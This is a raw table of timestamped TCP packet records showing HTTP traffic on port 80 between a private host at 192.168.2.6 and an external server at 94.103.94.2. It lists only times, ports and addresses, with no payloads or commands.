Feb 23, 2021 10:04:53.170576096 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170598030 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170614004 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.170620918 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170644045 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170696974 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.170706034 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170728922 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170731068 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.170764923 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170784950 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.170788050 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170809984 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170828104 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.170830965 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170852900 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170883894 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170883894 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.170907021 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170929909 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170931101 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.170953035 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170974016 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.170975924 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.171003103 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171010017 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.171025038 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171055079 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171072006 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.171075106 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171096087 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171114922 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.171117067 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171138048 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171156883 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.171160936 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171185017 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171205044 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171226978 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171247959 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171261072 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.171269894 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171278954 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.171292067 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171292067 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.171313047 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171334982 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.171336889 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171360970 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171375036 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.171380997 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171402931 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171421051 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.171427011 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171448946 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171463966 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.171469927 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171492100 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171508074 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.171515942 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171539068 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171554089 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.171561003 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171581984 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171602964 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171603918 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.171623945 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171643019 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.171643972 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.171688080 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.172437906 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.220206022 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220247030 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220268965 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220290899 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220313072 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220335960 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220356941 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220379114 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220398903 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220421076 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220442057 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220464945 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220467091 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.220487118 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220510006 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220532894 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220546007 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.220554113 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220573902 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.220577002 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220598936 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220606089 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.220619917 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220639944 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220643997 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.220660925 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220676899 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.220688105 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220711946 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220726967 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.220731974 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220753908 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220771074 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.220776081 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220797062 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220812082 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.220818996 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220840931 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220859051 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.220865011 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220894098 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220901966 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.220917940 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220942974 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220951080 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.220964909 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220987082 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.220999002 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221009970 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221031904 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221045971 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221052885 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221075058 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221086025 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221096992 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221121073 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221132994 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221146107 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221177101 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221195936 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221200943 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221221924 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221239090 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221239090 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221257925 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221275091 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221275091 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221296072 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221313953 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221316099 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221332073 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221349001 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221350908 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221368074 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221405029 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221411943 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221431017 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221446991 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221448898 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221467018 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221486092 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221489906 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221506119 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221514940 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221525908 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221544027 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221560955 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221577883 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221580029 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221596956 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221612930 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221613884 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221636057 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221638918 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221657038 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221673965 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221674919 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221692085 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221709967 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221725941 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221729040 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221744061 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221751928 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221762896 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221771955 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221784115 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221803904 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221821070 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221822023 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221837044 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221853971 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221853971 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221873999 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221890926 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221894026 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221909046 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221929073 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221930027 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221947908 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221963882 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221963882 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221981049 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.221997023 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.221997023 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222016096 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222032070 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222039938 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222049952 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222069979 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222070932 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222090006 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222105980 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222107887 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222122908 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222138882 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222155094 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222155094 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222172022 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222188950 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222192049 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222208977 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222217083 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222229958 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222245932 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222249985 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222264051 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222280979 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222290993 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222297907 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222316027 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222317934 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222332001 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222340107 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222352982 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222372055 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222388983 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222390890 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222407103 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222418070 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222424984 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222441912 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222457886 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222474098 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222476006 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222493887 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222512007 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222512960 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222531080 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222547054 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222548962 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222564936 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222564936 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222582102 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222598076 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222604990 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222615957 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222635031 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222640991 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222654104 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222665071 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222671032 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222688913 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222704887 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222712040 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222722054 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222738028 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222738981 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222754955 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222773075 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222774029 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222793102 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222809076 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222825050 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222826004 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222841024 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222856998 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222861052 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222873926 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222889900 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222891092 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222908020 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222909927 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222929001 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222944021 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222953081 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222963095 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222980022 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.222982883 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.222995996 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223011971 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223018885 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223028898 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223048925 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223050117 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223067045 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223083019 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223098993 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223107100 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223115921 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223131895 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223140001 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223149061 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223165989 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223169088 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223185062 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223202944 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223202944 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223220110 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223223925 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223237991 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223253965 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223253965 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223270893 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223287106 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223289967 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223303080 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223323107 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223339081 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223340988 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223359108 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223375082 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223376036 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223392963 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223404884 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223408937 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223427057 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223443031 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223443031 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223464012 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223481894 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223486900 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223498106 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223516941 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223519087 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223534107 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223550081 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223551035 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223567009 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223573923 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223583937 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223603010 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223603964 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223623037 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223639011 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223643064 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223656893 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223671913 CET	80	49774	94.103.94.2	192.168.2.6
Feb 23, 2021 10:04:53.223673105 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:04:53.223689079 CET	80	49774	94.103.94.2	192.168.2.6
